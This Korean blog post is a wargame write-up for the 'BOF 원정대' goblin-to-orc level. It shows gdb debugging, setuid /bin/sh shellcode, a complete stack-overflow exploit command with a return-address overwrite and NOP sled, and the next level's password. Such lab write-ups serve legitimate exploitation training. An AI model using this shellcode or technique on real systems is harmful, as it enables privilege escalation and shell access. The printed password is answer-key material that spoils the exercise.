1. 취약점
버퍼의 크기는 40byte..
그리고 문제의 for문... level2와 level3을 환경변수로 해결한 풀이가 있던데 그 방법을 못쓰게 막아놨다..
고로 argv로 계속 문제를 풀어온 나에게는 신경 쓸 필요가 없는 for문! 그리고 조건문이 있는데 첫 번째 매개변수의 48번째 문자를 "\xbf"로 안하면 취약한 API strcpy()에 접근을 못하게 해놨다.
Dummy(buffer + sfp) argv[1][43] |
\xaa argv[1][44] |
\xfa argv[1][45] |
\xff argv[1][46] |
\xbf argv[1][47] |
근데 잘 생각해보면 버퍼 오버플로우를 할려면 Return Address를 변경하면서 argv[1][47]은 \xbf가 된다..
그냥 평소처럼 풀면 될거 같다
2. Exploit
1. bash2를 사용하고 orc.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다
$ bash2
$ cp orc.c /tmp/orc.c && cd /tmp
2. gcc로 컴파일을 한다.
$ gcc -g -o orc orc.c
3. gdb로 디버깅을 시작한다.
$ gdb -q ./orc
4. 어셈블리로 취약점이 있는 코드를 보자
(gdb) disas main
argv를 사용할거니까 초기단계를 관찰한다.
5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..
(gdb) b *main+3
(gdb) r `perl -e 'print "A"x 48'` `perl -e 'print "B"x61'`
(gdb) x/150x $esp
매번 똑같이 하는 말이지만 저 빨간구간중에 한구간을 새로운 Return Address로 삼을 것이다.
6. 쉘코드를 만들거나 웹에서 주어온다♥
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
7. 괴.. 괴롭혀 주겠다...
(gdb) q
$ cd ~
$ ./orc `perl -e 'print "A"x44, "\x48\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
8. 결과
id : orc passwd : cantata
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (wolfman -> darkelf) (0) | 2016.10.07 |
---|---|
[버퍼 오버플로우] Bof 원정대 (orc -> wolfman) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (cobolt -> goblin) (0) | 2016.10.04 |
[버퍼 오버플로우] Bof 원정대 (gremlin -> cobolt) (0) | 2016.10.03 |
[버퍼 오버플로우] Bof 원정대 (gate -> gremlin) (0) | 2016.10.03 |